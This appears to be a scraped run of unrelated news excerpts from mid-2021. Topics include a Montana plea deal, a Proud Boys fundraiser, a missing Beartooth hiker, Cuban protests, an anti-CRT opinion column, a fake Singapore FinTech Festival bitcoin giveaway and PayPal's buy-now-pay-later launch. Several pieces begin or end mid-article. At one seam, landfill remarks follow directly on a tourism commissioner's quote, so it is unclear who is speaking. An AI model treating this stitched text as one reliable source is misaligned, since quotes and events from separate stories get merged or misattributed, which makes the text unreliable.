Mark McLean Thompson, 25, was sentenced Wednesday by District Court Judge Mike Menahan as per the agreement between the Lewis and Clark County Attorney's Office and Thompson's attorneys. Thompson was originally charged with felony sexual intercourse without consent and felony strangulation, but entered an Alford plea to the charge of felony criminal endangerment in May.

A trial for the original charges was delayed multiple times since the initial incident in October 2019. Menahan said it is not the role of the court to make determinations about what a jury might have thought of the evidence at trial, and accepted the agreement as written by the prosecution and defense. Thompson would receive three years' deferred imposition of sentence. Felony criminal endangerment carries a possible penalty of up to 10 years imprisonment and $50,000 in fines.

No restitution was ordered and it was said several times the restitution claims came in around 5 p.m. on Tuesday, but were due in mid-June. The victim's claims at restitution equal around $237,000, but Menahan said the defense may have a case as, per Montana law, restitution is to be ordered at the time of sentencing. A restitution hearing was set for August.

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The New York Times says the Proud Boys was founded By Gavin McInnes in 2016 as a club for men. Members describe themselves as Western chauvinists and appeared eager to engage in violence and who frequently espoused anti-Muslim and anti-Semitic views, the Times reported. The Proud Boys has reportedly been disavowing Trump, claiming he did nothing to help those in the group who face legal action for the Jan. 6 insurrection which resulted in violence at the Capitol.

Most recently, Proud Boys took part in the Sagebrush Days parade on July 3 in Buhl, Idaho, the Associated Press reported.

The East Helena event included a 150-plus mile ride, a 50/50 raffle, prizes, barbecue and beverages. Tickets were listed at $25 per person or $60 for couples.

After the concerns were raised, Reeder planned to take the Proud Boys name off the event and have it anyway. Reeder is a former Marine who said he found a brotherhood in the Proud Boys. He said earlier the fundraiser was never officially a Proud Boys event, and he had approached national leadership and was told it was his decision as to whether to attach the Proud Boys name to it.
Search crews are continuing to look for Tatum Morell, the 23-year-old experienced hiker who has been missing since she set up a base camp in the Beartooth Mountains in early July intending to summit five peaks above 12,000 feet.

Over the weekend, Carbon County officials and Morell's family announced their belief that Morell is no longer alive.

On behalf of dog teams searching in the Beartooth Mountains this weekend, Red Lodge Fire Rescue is asking people, if possible, to avoid certain areas from Friday through Sunday. Those areas include Marker Lake, Ship Lake and the eastern faces of Sundance and Bowback Mountains.

What is now essentially a recovery effort continued Tuesday when a helicopter crew with Two Bear Air Search and Rescue flew over and filmed a series of areas of interest.

The last contact with Morell, made via a Garmin InReach satellite communicator, was on the night of July 1. The belief is that she left on July 2 and did not return. This was Morell's first trip into the Beartooth Mountains and she had planned on being in the mountains for less than a week when she set out hiking from the West Fork Trailhead.
Thats why, in the midst of a record-breaking hot and dry summer, Alliance for the Wild Rockies, Friends of the Wild Swan, and Save the Bull Trout are challenging the U.S. Fish and Wildlife Services inadequate Bull Trout Recovery Plan in the 9th Circuit Court of Appeals.

The illegal Bull Trout Recovery Plan would allow the federal government to remove bull trout from Endangered Species Act protections as long as only 147 individual populations go extinct out of 611 total populations. Yes, thats right. Even though bull trout had already lost 60% of their range when listed under the Endangered Species Act 20 years ago, the plan is to allow another 147 populations to go extinct. As the National Park Service noted in public comments against the plan, "Bull trout are a species that has already lost 60% of its historic range. Delisting after losing up to another 10% of that range is not a recovery plan. Instead, it is an extinction plan.
DECATUR  Community leaders in Decatur breathed a sigh of relief Wednesday with the news their city will continue to be seen by the federal government as a Metropolitan Statistical Area.

There had been some shivers of unease running through Decatur and other cities from sea to shining sea after the government warned it was thinking of upping the population needed to qualify as an MSA from 50,000 to at least 100,000 souls.

The troubled writing on the wall here was that many federal programs dispense tax dollars based on recognition of communities designated as MSAs. Lose that coveted status, and Uncle Sam might not regard you as statistically worthy enough to receive the help you received before.

But all that is now on the backburner as The Office of Management and Budget, which decides these things, has said the 50,000 MSA threshold will remain in place, at least for the next 10 years and another census count.

The decision reverses a previous recommendation from an advisory committee of interagency experts that had recommended the MSA population upgrade, but then also changed its mind. Following a public comment period, the Committee submitted a revised recommendation to leave the current Metropolitan Statistical Areas core population threshold in place, said a news release from OMB.

Sens. John Thune, a Republican from South Dakota, and Mark Kelly, a Democrat from Arizona, introduced legislation in June that would have stopped the OMB from making the change.

U.S. Rep. Rodney Davis, R-Taylorville, also urged officials not to alter the threshold. Housing, transportation and Medicare reimbursement programs were at risk.

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"Now is the worst possible time to take those resources away from Decatur," Davis said in a March statement.

A total of 144 cities  from Bismarck, North Dakota, to Cheyenne, Wyoming, to Auburn, Alabama  were at risk of getting the new label.

Mirinda Rothrock, president of the Decatur Regional Chamber of Commerce, said that reversal was the direct result of a furious lobbying effort by chamber members, city officials and legislators who joined a rising chorus of protest nationwide.

Its great news, she said of the OMB decision. Were happy that they left it as it has normally been, because it certainly would affect our federal funding. But what I am most proud of is how the chamber brought that awareness to our members and how we helped educate them about what a change in that designation would mean.

Rothrock said businesses were then encouraged to speak out and make their voices heard, and she said they were heard, all the way to Washington, D.C.

City Manager Scot Wrighton, commenting on the situation in his weekly video newsletter, said: So this is an important victory for the city of Decatur and all those mid-sized cities throughout the United States.

He said losing MSA status had the potential for a wide-ranging list of federal funding changes as a result, affecting everything from transportation to transit and infrastructure projects.

Now this (MSA) designation may seem fairly small, but it had incredible impacts to those 100-plus cities that would have been affected, Wrighton added.

But while the MSA population issue may have been put to sleep, it isnt dead. OMB said it will work to conduct research and stakeholder outreach to inform the 2030 standards update.

Contact Tony Reid at (217) 421-7977. Follow him on Twitter: @TonyJReid

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The top state official charged with policing allegations of wrongdoing by Illinois lawmakers and legislative staff announced her resignation Wednesday, calling the position essentially a paper tiger.

In a two page resignation letter, Legislative Inspector General Carol Pope leveled criticisms echoing those of her predecessors, who also raised concerns about the offices limited powers. She resigns amid an ongoing federal corruption investigation that has led to charges against a slew of former lawmakers

Pope, a former judge and Menard County states attorney, blasted an ethics overhaul proposal that was passed by lawmakers this spring and is sitting on Gov. J.B. Pritzkers desk. The measure, which she cited as a driving force behind her departure, has been widely criticized by good-government groups for failing to go far enough to address the states pervasive public corruption, and Pritzker himself has said more work remains.

I thought I might be able to make a difference working from the inside, Pope wrote to members of the Legislative Ethics Commission, an eight-member panel that oversees her office. I thought I could be useful in improving the publics view of the legislature and help bring about true ethics reform. Unfortunately, I have not been able to do so. This last legislative session has demonstrated true ethics reform is not a priority.

The office has no real power to effect change or shine a light on ethics violations, she added.

Rather than providing more independence for the office, something Pope and her two predecessors have repeatedly requested, the measure lawmakers approved in the final hours of their spring session would place new limitations on the inspector generals ability to investigate allegations of wrongdoing, Pope said.

One of her offices major requests was granted: The inspector general no longer will have to get permission to launch investigations from the ethics commission, whose members are appointed in equal number by each of the legislatures four partisan caucus leaders.

Pope and her two predecessors, Julie Porter and Thomas Homer, also had pushed for the power to issue subpoenas and to publish reports of founded allegations of misconduct by lawmakers without first going to the ethics commission. The inspectors general have said there have been multiple occasions when the commission has blocked the public release of a report detailing findings of wrongdoing by a lawmaker, at times due to a partisan deadlock.

Under the proposal on Pritzkers desk, the inspector general still would have to get the commissions permission to issue subpoenas or release reports on lawmakers.

Whats more, Pope said in an interview last month, the overall package contains more restriction than independence.

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Supporters say the new law clarifies that the inspector generals jurisdiction is limited to complaints that relate directly to lawmakers public duties, but critics, including some legislators who voted for the measure, contend that it puts new limitations on what types of wrongdoing can be investigated.

If Pope were to read about an alleged misdeed by a lawmaker in the newspaper, she wouldnt be able to open an investigation unless someone filed a complaint with her office. Even then, she would only be able to investigate if the allegation directly related to a lawmakers public job.

Pope pointed to the case of former Republican state Rep. Nick Sauer, who resigned from the House in 2018 after being accused of sharing nude photos of an ex-girlfriend online, as something that would now fall outside her jurisdiction.

In her letter, Pope also notes that she would not be able to investigate allegations of tax evasion by a lawmaker if it did not involve his or her legislative salary.

State Rep. Avery Bourne, a Republican from Morrisonville, said during a debate on the House floor that the ethics commission, of which she is a member, provides an appropriate check to prevent unwarranted intrusion into lawmakers private lives.

However, Democratic Rep. Kelly Burke of Evergreen Park, who also serves on the commission, countered that the measure is a good balance and said that discussions about more ways to tighten ethical safeguards would continue.

Pope, who assumed the role in March 2019, offered her resignation effective Dec. 15 or when a replacement is named, whichever comes first.

The office the legislative inspector general has had a rocky history since it was created nearly two decades ago in the wake of corruption allegations against former Gov. George Ryan.

The office sat vacant for years after Homer left at the end of June 2014, calling for more autonomy and transparency on his way out.

The vacancy was thrust into the spotlight in late 2017, when an advocate who raised sexual harassment allegations at the Capitol said her complaint went unheard.

Porter was appointed to the post on an interim basis. After Pope took over, with unanimous approval in the legislature, Porter published an op-ed in the Tribune decrying a broken system of handling complaints against lawmakers.

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When Thurgood Marshall was strategizing his legal attack on segregation in the public school system of Topeka, Kansas, he asked psychologists Kenneth and Mamie Clark to repeat an experiment they had first conducted twenty years earlier in the 1930s.

In what has come to be known as the Doll Test, the Clarks handed African-American children two sets of dolls, one white and one Black. They then asked the children a number of questions, including which doll looks the most like you and which doll is nice, which is bad?

The overwhelming majority picked the white dolls as being both nice, and looking the most like them. From this, the Clarks deduced that the forced segregation of Jim Crow taught Black children to feel inferior. Marshall used this information in his powerful arguments to the Warren Court, and convinced the justices to overturn the principle of separate but equal.

Among other things, this case stands for the proposition that children are extremely impressionable, and that they will interpret messages in a completely different way than adults. They dont have the mental acuity or sophistication to distinguish fact from fiction, nuance from clarity and are highly suggestible. Thats why they always used to say that the hand that rocks the cradle rules the world, because the first powerful influence on a child -- its mother --leaves a lasting imprint.

So, however, do teachers. If those teachers start teaching lessons that encourage certain children to feel less valued and important, it doesnt take a psychologist or a Supreme Court justice to realize the damage thats being done.

And thats exactly whats happening with this push in so many school districts to implement Critical Race Theory protocols and lesson plans.

CRT is shorthand for a process by which white children are taught that their ancestors enslaved and persecuted the ancestors of their classmates of color, and that this is the reason that so many of those classmates face discrimination and  the lefts new favorite word  inequity.

Its not that the message doesnt have truth in it. But to attack CRT is not to attack history. CRT is subversive, toxic and dangerous in that it doesnt just teach about history. It points fingers at those who have no guilt, no investment in past abuses, no responsibility for their classmates pain, and no obligation to apologize. Children do not bear the mark of Cain.

This is why so many parents are turning out for school board meetings.

Many supporters of CRT are trying to go on the counterattack, pretending that these policies are nothing more than an attempt to bring transparency to a discipline  history  which has long glossed over the suffering of minorities.

CRT advocates push forcefully back against the suggestion that they are making white children feel bad about anything. But when you sit a third grader down and ask him to reflect upon what it means to be white, which is happening, and when you have discussions about white privilege, and when you divide kids into groups based on eye color and then give treats to the ones who have the preferred eye color just to show them how racism works, you are abusing that child.

In fact, you are doing as much damage to that child as any adult who uses his or her power advantage to influence thought, action and emotion. Those who have rightfully criticized the Catholic Church for past abuses should be applauding that assertion, although I have a strong suspicion that they wont.

It was heartbreaking that Black children were forced to feel inferior to their white classmates. It would be equally heartbreaking if, 70 years later, we simply reverse the skin color of the victims.

Christine Flowers is an attorney and a columnist for the Delaware County Daily Times. Email cflowers1961@gmail.com

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The Tennessee Department of Tourist Development has added the Tri-Cities Airport to its Tennessee on Me campaign, the department announced late Wednesday afternoon.

The announcement came roughly a week after the launch of the $2.5 million marketing campaign. The initiative aims to boost out-of-state travel to Tennessee by giving out 10,000 airline vouchers, each worth $250, to people who fly into one of the states airports and book at least two nights at a hotel in the region.

But only four of the states five commercial airports -- in Nashville, Memphis, Knoxville and Chattanooga -- were included in the voucher program. The Tri-Cities Airports exclusion prompted immediate backlash from Northeast Tennessee elected officials and tourism sector leaders.

We do want to benefit and support that important Tri-Cities Airport, Mark Ezell, commissioner of the Tennessee Department of Tourist Development, told the Herald Courier of the airport's addition Wednesday. That was an adjustment that we--the governor and his team and our department and me--all felt...is the right thing to do, and [weve been] trying to add it as quickly as possible and decided that that can be done now.
We do plan on presenting the data and making it public, he said.

Ernie Hoch, manager of solid waste and environmental services for Draper Aden Associates, one of the citys landfill consulting groups, said the efforts to improve gas collection efficiency at the landfill are working, but more is needed.

The landfill gas collection system is currently producing about 420 cubic feet of gas per minute  up from 250 cfm when mitigation efforts began. However, the goal is 1,000 cfm, Hoch said.

That progress is considerable, he said; however, it will likely be two to three months for planned additional wells to be drilled and then connected to the system.

Their goal, he said, is for no smells to escape. In response to a question, he said additional steps may be necessary to limit escaping odor.

The landfill has the capacity to accept garbage for another 23-25 years.
Other family members remembered Michelle as a person who had love for everyone.

If (Tangela Parker) would have just give her just a little bit of time, she would have loved her, too, because (Michelle) loved everybody, said Justin Marlow, Michelle Marlows husband.

When asked what message she would have for the Parkers, Mak Marlow said it was hard to say.

I have things that I would love to express, but I dont think that Ive yet discovered the words to express those feelings because, of course, theres a feeling of hatred and disgust, but thats pretty much a given, she said. I dont really think theres words to express the loss that those two people caused.

Other family members offered their own thoughts on the impact of the killing on the family.

They just destroyed a family, Justin Marlow said. Walker said that the family was left with heartache, sadness and a piece of our heart that will always be missing.

The family also expressed appreciation for the work of the U.S. Marshals who searched for and arrested the Parkers. Even as they were grateful that the Parkers were in custody, the family was also aware that Tuesdays news did not signify an end.

Its far from over, Mak Marlow said. Its far from being finished. Its like one chapter has ended and another one is just now beginning.

Kevin Griffin is the City of Hickory reporter at the Hickory Daily Record.

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Alfano said the Parkers likely lived out of their car for several months and it probably took them three months to reach Arizona.

They essentially would stop at rest stops and beg, plead for money, hold up signs for money, Alfano said. Then eventually they were able to save up enough money to start renting, have the residence they were staying at when they finally reached Arizona.

He added: Weve got to talk to a lot more people. Its still developing.

Did the Parkers have any help and will anybody else be charged?

Alfano said the Marshals Service and the Hickory Police Department are currently investigating if anyone helped the Parkers in their run from the law. No charges had been announced as of noon Wednesday.

On Tuesday afternoon, Hickory police Chief Thurman Whisnant said: I can assure you between the Marshals Service and us, we will both be doing our due diligence to see what we can learn about that, and Im sure well have more on that in the days to come.

When will the Parkers be brought to North Carolina?

It was not clear, as of early Wednesday afternoon, how long it will take to bring the Parkers to Catawba County.
If schools decide to send students home for refusing to wear a mask, Flint said they would be obligated to provide independent study in a really robust way that asks more of the district than has been done in the past.

The Centers for Disease Control and Prevention last week said teachers and students who are fully vaccinated dont have to wear masks indoors but recommended that students and staff stay at least 3 feet (1 meter) apart to reduce the spread of a disease that is primarily transmitted through the air.

State officials were worried that imposing social distancing would make it harder for some schools to accommodate all students. So, they made a choice: They won't require physical distancing in exchange for everyone wearing masks. The state plans to review the rules and possibly change them by Nov. 1.

Newsom faced heavy criticism for not moving more quickly to return students to classrooms during the last school year. Many districts, including Los Angeles with more than 550,000 K-12 students, only instituted part-time, in-person instruction for the final weeks of the semester.

The mask requirement angered some parents who say children will have added stress after already having two school years upended through remote learning and missed milestones like proms, sports, concerts and graduations.
CARLISLE, Pa. (AP)  The disinterred remains of nine Native American children who died more than a century ago while attending a government-run school in Pennsylvania were headed home to Rosebud Sioux tribal lands in South Dakota on Wednesday after a ceremony returning them to relatives.

The handoff at a graveyard on the grounds of the U.S. Army's Carlisle Barracks was part of the fourth set of transfers to take place since 2017. The remains of an Alaskan Aleut child were returned to her tribe earlier this summer.

We want our children home no matter how long it takes, said U.S. Interior Secretary Deb Haaland, who in June announced a nationwide investigation into the boarding schools that attempted to assimilate Indigenous children into white society.
" " Thousands of Cubans took part in rare protests July 12, 2021, against the communist government, marching through Havana chanting "Down with the dictatorship" and "We want liberty." Photo by YAMIL LAGE/AFP via Getty Images

Street protests erupted across Cuba July 11, 2021, with crowds of Cubans demonstrating against food scarcity, medicine shortages and economic misery in their island nation. Some demanded "freedom" and the end of "dictatorship"  anti-government sentiments that were soon echoed in the United States by Cuban Americans and politicians, including President Joe Biden.

In a televised address, Cuban President Miguel Diaz-Canel blamed the spontaneous demonstrations  by far the largest mass protests in decades  on U.S. interference and threatened a "battle in the streets." Protesters say hundreds were arrested.

These four stories describe current conditions in Cuba and the recent history behind this rare public outpouring of anger.

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2018: Cuba Gets a New President

The Communist Party has run Cuba since the 1959 Cuban Revolution.

For five decades, its leader was the fiery, anti-American revolutionary Fidel Castro. Castro led the country until 2008, when he fell sick and was succeeded by his more subdued younger brother, Raul.

The younger Castro, also a Cuban Revolution fighter, maintained the party's total grip on politics but liberalized Cuba's Soviet-style economy, recognizing private property and allowing Cubans to run small businesses. He also cultivated a less antagonistic relationship with the United States during the Obama administration.

Raul Castro's April 2018 retirement marked the end of the revolutionary era. But the selection of Diaz-Canel as president in April 2018 seemed unlikely to herald the beginning of a new Cuba.

"I don't expect any drastic changes in direction from Diaz-Canel  at least, not right away," wrote the American University Cuba analyst William LeoGrande shortly after Diaz-Canel took office.

Diaz-Canel is a seasoned Communist Party insider and Raul Castro's chosen successor. Castro also remained in Cuba's government until 2021 as first secretary of the Communist Party, "arguably a post more powerful than the presidency," says LeoGrande.

Diaz-Canel came into office facing serious problems, including a weak economy and bad relations with the U.S. under then-President Donald Trump.

He also faced a new challenge: the internet, which had just become widely available to everyday Cubans. Access to online information and social media makes it harder for Diaz-Canel to repress dissent as effectively as his predecessors.

"Internet expansion on the Communist island has produced a growing chorus of domestic critics," LeoGrande wrote.

" " A Cuban man is arrested during a demonstration against the government of President Miguel Diaz-Canel in Arroyo Naranjo Municipality, Havana, July 12, 2021. Thousands of Cubans continued to protest despite arrests. YAMIL LAGE/AFP via Getty Images

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2019: Cuba Gets a New Constitution

Those critics gained more leeway to show their discontent in February 2019, when the Cuban National Assembly passed a new Cuban Constitution.

It included provisions that would "substantially expand social, political and economic rights in Cuba," wrote the Cuban American scholar Maria Isabel Alfonso.

One of those rights was freedom of assembly.

"Previously, Cubans had the 'right to meet, demonstrate and associate, for licit and peaceful purposes,'" explained Alfonso, "but only as part of a so-called 'organizacion de masa'  the Cuban term for state-run groups."

The new constitution removes the 'organizaciones de masa' restriction, theoretically giving people and civil society groups more freedom to gather.

But Alfonso cautioned that the government could still crack down on "independent organizations  especially if those groups are political in nature."

In her February 2019 article, she quotes the Cuban blogger Jose Gabriel Barrenechea saying that, in Cuba, "spontaneous gatherings are not seen positively and are always perceived to be the product of a foreign power."

Among other changes, Cuba's 2019 Constitution also gave constitutional legitimacy to Raul Castro's economic reforms and limited Cuban presidents to two five-year terms.

" " A group of young intellectuals and artists demonstrated at the doors of the Ministry of Culture during a protest in Havana, Nov. 27, 2020. Nearly 200 young artists were demanding dialogue with the Ministry of Culture in Havana after the police broke up a 10-day protest by the San Isidro Movement (MSI). YAMIL LAGE/AFP via Getty Images

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2020: Artists Revolt

Cuba's new Constitution reflects how Diaz-Canel has largely followed his mentor Raul Castro's path of gradually giving Cubans greater economic and social freedoms but resisting pressure for democratic reform.

One result of Castro's 2009 move to legalize small businesses, for example, was a flourishing of activist art.

As galleries and theaters opened across Cuba, enabling artists to show their work in nongovernment-run cultural spaces, "dissident artists took advantage of this newfound freedom to advance their political demands," Alfonso says.

In 2018, the Diaz-Canel government issued a decree imposing restrictions on independent artistic production and cultural venues, angering many artists. Then, in November 2020, the government raided the home of an artist who openly opposed the government's decree.

Cuban artists and intellectuals rebelled. Days after the November raid, about 300 artists and intellectuals convened via WhatsApp to stage a protest outside the Culture Ministry. They demanded negotiations with the government to restore freedom of expression.

"The negotiations would end soon after they began, followed by a major crackdown on dissent," wrote Alfonso. But "the size, duration and public nature of the artists' opposition were unprecedented."

The artists' uprising was, she says, "a sign of how resistance in Cuba has grown and changed."

" " Former Cuban President Raul Castro (right) raises the arm of newly elected Cuban President Miguel Diaz-Canel during the National Assembly at Convention Palace April 19, 2018 in Havana. Diaz-Canel is the first non-Castro Cuban president since 1976. Adalberto Roque-Pool/Getty Images

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2021: The Castro Era Ends

Raul Castro stepped down from his top post in the Communist Party in April 2021, leaving behind a changed Cuba.

It is no longer a Soviet-backed ideological challenger  or nuclear threat  to the United States. Bereft of international communist patrons and financially isolated from the world by the strict, decades-old U.S. embargo, Cuba is ailing.

For so long the bearded, fatigues-clad Fidel Castro defended the pain of the Cuban people as the righteous struggle of a proudly sovereign nation. Diaz-Canel, born in 1960, lacks Castro's charismatic ability to invoke the faded revolutionary past.

Ever fewer Cubans even remember those heady post-revolution years, says Cuba historian Joseph Gonzalez.

"Unlike their parents and grandparents, Cubans in their 20s, 30s and 40s never enjoyed a sustained, functional contract with the regime: We provide you a living, and in exchange you give us support, or at least acquiescence," Gonzalez says.

Gonzalez says younger generations in Cuba still trust the government to provide free quality health care and education  both achievements of the Castro era.

"But they know it cannot feed, clothe and house its people in any but the most basic way," he says.

Today Cubans have to hustle to survive; many work two jobs. A recent currency change means cash is scarce and many everyday goods are unaffordable. And after a year keeping the pandemic largely at bay, COVID-19 is surging on the island.

These most recent protests suggest some Cubans are sick of so much struggle.

This article is republished from The Conversation under a Creative Commons license. You can find the original article here. It is a roundup of articles from The Conversation's archives.

Catesby Holmes is the international and politics editor at The Conversation, U.S.
Illnesses like bovine respiratory disease can be especially challenging for calves and the people who care for them. As immunologist Jodi McGill explained during the Dairy Calf and Heifer Associations annual conference, Age and immune status are working against us, especially in very young calves. That young animals immune system is not ready to mount a strong, full-blown immune response to some of these pathogens.

McGill, an assistant professor with the Iowa State University College of Veterinary Medicine, added that circulating levels of maternal antibodies that help keep calves safe initially start to decline and affect our ability to vaccinate at a young age. Still further, stress, nutrition changes at weaning, and comingling with other calves can all introduce new pathogens.

Fortunately, the immune system is able to protect against many diseases. But to further limit the pathogens that get through this line of defense, McGill addressed the idea of boosting a young calfs immune status.



The immune system is divided into two branches: innate immunity and adaptive immunity. Adaptive immunity is the part of the immune system that remembers exposure to a pathogen and builds a response. This is the immunity that is strengthened with vaccines. The downside is that it takes several weeks to mount a really strong immune response, McGill explained.

In the meantime, innate immunity is nonspecific and responds immediately  within hours  in the face of pathogen exposure. Innate immunity includes physical barriers, such as saliva and skin, sentinel cells in tissues, and blood phagocytes or neutrophils.

McGill shared that immune response can be compared to a funnel. The bulk of the work of protecting the animal falls on the shoulders of the innate immune system, she said, crediting the physical barriers for excluding about 90% of pathogens from entering the body. That's just the first part. The cells and antimicrobial components of the innate immune system then eliminate about 90% of the pathogens that made it through, leaving the remainder to be blocked by the adaptive immune system.



While vaccines boost adaptive immunity, McGill introduced immunomodulators as a way to build up the innate immune system. One benefit includes an immediate response by the innate immune system. Immunomodulators are also broadly reactive, meaning they are not disease or organ specific and can offer a wider range of protection. Additionally, maternal antibodies do not interfere with these products, so McGill said they can be administered as early as one day of age.

Immunomodulators are currently available on the market in injectable or feed additive form, and McGill said this a very active area of research with exciting potential to provide an immunity boost to calves in the face of challenges. Still, she reminded that immunomodulators are only part of the equation.

Immunomodulators are not a replacement for good management, vaccines, or antibiotics, she emphasized. She encouraged producers to talk with a veterinarian to determine a strategy that would work best on their farm.



To comment, email your remarks to intel@hoards.com.

(c) Hoard's Dairyman Intel 2021

July 8, 2021
Scammers posing as the organisers of a global fintech conference have been promoting a fake bitcoin giveaway.

The Singapore Fintech Festival issued a warning to its mailing list on Tuesday morning about the scam activity.

It has been brought to our attention that a sender posing as an official blog of the Singapore FinTech Festival has been offering a bitcoin giveaway and soliciting responses from recipients to their giveaway, the conference organisers said via email.

We wish to remind everyone that letters, emails, or mobile phone messages, offering such services are fraudulent and should be ignored.

Accordingly, legal actions are being taken against those responsible for such activities.

The Singapore Fintech Festival name carries some weight as it is organised by the countrys central bank, the Money Authority of Singapore (MAS).

To be held in November, this years conference will feature pitches from finalists of the Global Central Bank Digital Currency Challenge which is seeking ways to overcome the potential problems of issuing centralised digital currencies.

Last years event featured speeches from the likes of Bill Gates as well as the CEOs of tech companies such as Google, Microsoft, and Accenture, and Ethereum founder Vitalik Buterin.

Australian Prime Minister Scott Morrison also made a virtual appearance at the conference in which he talked up Australias handling of COVID-19, the countrys relationship with Singapore, and issued an invitation for skilled tech migrants.

Bitcoin giveaway scams typically involve the scammer promising they will send back more bitcoin to anyone who sends the cryptocurrency to a specific wallet.

These scams tend to propagate by latching onto high profile events and personalities like Elon Musk who has long been a vector for bitcoin scammers who promote so-called giveaways by using his likeness on Twitter.

American teenager Graham Clark perpetrated a widescale bitcoin giveaway scam when he used Twitters backend tools to hack profiles from the likes of Bill Gates, Kanye West, and Apple to say he would double any bitcoin sent to a certain address.

The scams actually work, too. People sent a total of 12.8 bitcoins to Clarks wallet address during the Twitter account heist for which the 18-year-old received a light sentence of three years in juvenile detention.

And a German man felt immense regret after sending 10 bitcoin to a fake Elon Musk scammer also promising to double peoples bitcoin holdings.

The Australian Competition and Consumer Commissions (ACCC) latest Targeting Scams report found the number of scam payments made in bitcoin had risen in recent years with Australians reporting losses of around $26 million worth of bitcoin to scammers in 2020.
PayPal is getting in on the BNPL action. Image: Shutterstock

PayPal Australia has opened fire against local alternative credit company Afterpay by launching its own 'buy now, pay later' (BNPL) service for PayPal users.

Called PayPal in 4, the new BNPL offering currently has no interest or late fees, according to a the co, to entice users.

PayPal Australia GM of payments, Andrew Toon, said he believed not having late fees was the right thing to do for its customers.

We are backing the strength of our systems to determine consumer suitability for PayPal Pay in 4 and we believe we have the right measures in place to support our no late fees approach, Toon said.

Our business model does not rely on late fee revenues and we believe that many people who miss a payment do so by mistake, not design.

By removing late fees, we are providing our Australian customers with a secure 'buy now, pay later' service without the risk of being penalised for late payments.

Customers will have to pay currency conversions where applicable.

Despite what is suggested by PayPals posturing, late fees are not the major earner for the BNPL model pioneered by Afterpay, even though an estimated 21 per cent of users paid late fees in the last financial year.

In its 2020 financial year report, Afterpay disclosed earning just under $70 million out of its $500 million income from late fees, with most of its money instead coming from merchants which pay to access the service and the customers who come with it.

For merchants, PayPals version of BNPL wont cost anything above their existing PayPal rate which is 2.6 per cent plus a 30-cent fee for local commercial transactions and a maximum of 1.4 per cent plus the fee for local QR code transactions.

PayPal in 4 will be only be available for purchases between $30 and $1,500 almost anywhere PayPal is accepted, according to the company, but cannot be used for certain transactions including gambling, cryptocurrency trading, and not-for-profit donations.

With the nine million active Australian accounts PayPal claims to have, it is hoping to take a decent chunk share of the Australian BNPL business which has flourished under a looser regulatory regime than traditional lending.

Earlier this year, Australias BNPL players agreed to a form of self-regulation through a voluntary industry code of practice in an effort to keep government regulators at arms length.

With PayPals entry, the BNPL space once reserved for Australian startups is becoming more crowded.

Apple is preparing its own BNPL service by partnering with Goldman Sachs in the US to include delayed payments into the Apple Pay system, according to Bloomberg.
Representative Image

Brussels [Belgium], July 14 (ANI): Several members of European parliament have written to Zaheer Aslam Janjus, ambassador of Pakistan to the European Union, seeking his intervention in an alleged blasphemy case against Shahzad Masih so that the accused is released and compensation is given to him for the time spent in jail.

According to an official release, five members of European Parliament said that despite lack of evidence, Masih's trial has continued for nearly 4 years.

The letter was endorsed by Jan Figel, former European Commissioner & European Commission's Special Envoy for the Protection of Religion outside the European Union (EU).

The members of European parliament (MEPs) called for Masih's immediate release and compensation on account of undue harassment and detention.

The 5 MEPs included Bert-Jan Ruissen, MEP, vice-chair of the European Parliament Intergroup on Freedom of religion or Belief and Religious Tolerance; Carlo Fidanza, MEP, co-chair of the European Parliament Intergroup on Freedom of Religion or Belief and Religious Tolerance; Miriam Lexmann, MEP; Nicolas Bay, MEP; and Francois-Xavier Bellamy MEP.

In a related development, Amnesty International has also called for repealing Pakistan's blasphemy laws that have been used to target the country's already endangered minorities. According to Amnesty International, these laws violate Pakistan's obligations to respect human rights and pave the way for other abuses, including death threats and killings.

"Through this letter, we, Members of the European Parliament, would like to share our concern regarding a pending case in Pakistan: State v. Shahzad Masih, FIR No. 273/2017, currently under trial at the District and Sessions Courts in Gujarat. We write to you because of the worrying nature of what we have been told about the case," the letter read.

Masih was accused of blasphemy in 2017 for merely telling his coworker what someone else had said. The Muslim coworker started a religious conversation and Masih told him that a friend of his father swears whenever he hears that someone has Muhammad in his name.

Story continues

A complaint was lodged at Police Station Dinga in Kharian, Gujrat against Masih.

The Superintendent of the Police (SP) investigated and concluded there was no blasphemy on the part of Masih. He testified in court that he did not declare Masih guilty in his investigation and that an eye-witness did not hear any insult for the Prophet in Masih's conversation. Nonetheless, the prosecutor's office brought charges and the case went to trial.

During trial, all of the prosecution's witnesses testified that Masih was merely stating someone else's words and thereby informing others of another person's blasphemy.

Despite the lack of evidence against him, his trial has taken almost four years. Masih has spend those years in jail. This is clearly in contradiction with fundamental rights and Pakistani law.

"We call on you to quickly intervene in this case and, should our information be confirmed, to drop the charges against Masih, to immediately release him, to accord him reasonable compensation for the undue time he has spent in prison, and to provide adequate protection should he be released from prison," the letter added. (ANI)
Jaishankar attends SCO foreign ministers meet in Tajikistan. (Twitter: EAM)

New Delhi [India], July 14 (ANI): External Affairs Minister (EAM) S Jaishankar said that matters related to Afghanistan and post-COVID will be the core issues that will be discussed at a meeting of the foreign ministers of the Shanghai Cooperation Organisation (SCO) being held in the Tajikistan capital on Wednesday.

"Shanghai Cooperation Organisation (SCO) Council of Foreign Ministers begins. 20th year is an opportune time to reflect on achievements and deliberate on challenges. Afghanistan and post-Covid recovery are pressing concerns," tweeted Jaishankar.

Meanwhile, Jaishankar is likely to hold a bilateral meeting with his Chinese counterpart Wang Yi today on the sidelines of the Shanghai Cooperation Organisation (SCO) Council of Foreign Ministers meet in Tajikistan.

It will be the second face-to-face meeting between the diplomats since the stand-offs started in early May last year at the Line of Actual Control (LAC).

The last time, the two leaders had met in Moscow in September last year during the Foreign Ministers' meet of the SCO countries and discussed standoff at the LAC in Ladakh, which had seen violent clashes.

Twenty Indian Army personnel, including a Colonel, were killed in the violent face-off. Indian intercepts have revealed that the Chinese side suffered 43 casualties including dead and seriously injured in the violent clash. The commanding officer of the Chinese Unit is among those killed.

In February, India and China began disengagement of the frontline troops in the Pangong Lake area.

The two sides held several rounds of Corps Commander level meetings during which they "positively appraised" the smooth completion of disengagement of frontline troops in the Pangong Lake area and agreed to continue their communication and push for a mutually acceptable resolution of the remaining issues. (ANI)
Lok Sabha Speaker Om Birla has called an all-party meeting of floor leaders on 18 July, a day ahead of the Parliament's Monsoon Session, reported news agency ANI.

Parliamentary Affairs Minister Pralhad Joshi will also interact with the floor leaders during the meeting and take their views before the session starts its 19-day business from 19 July, IANS reported, quoting sources.

The meeting is expected to take place at 11 am, reported Hindustan Times.

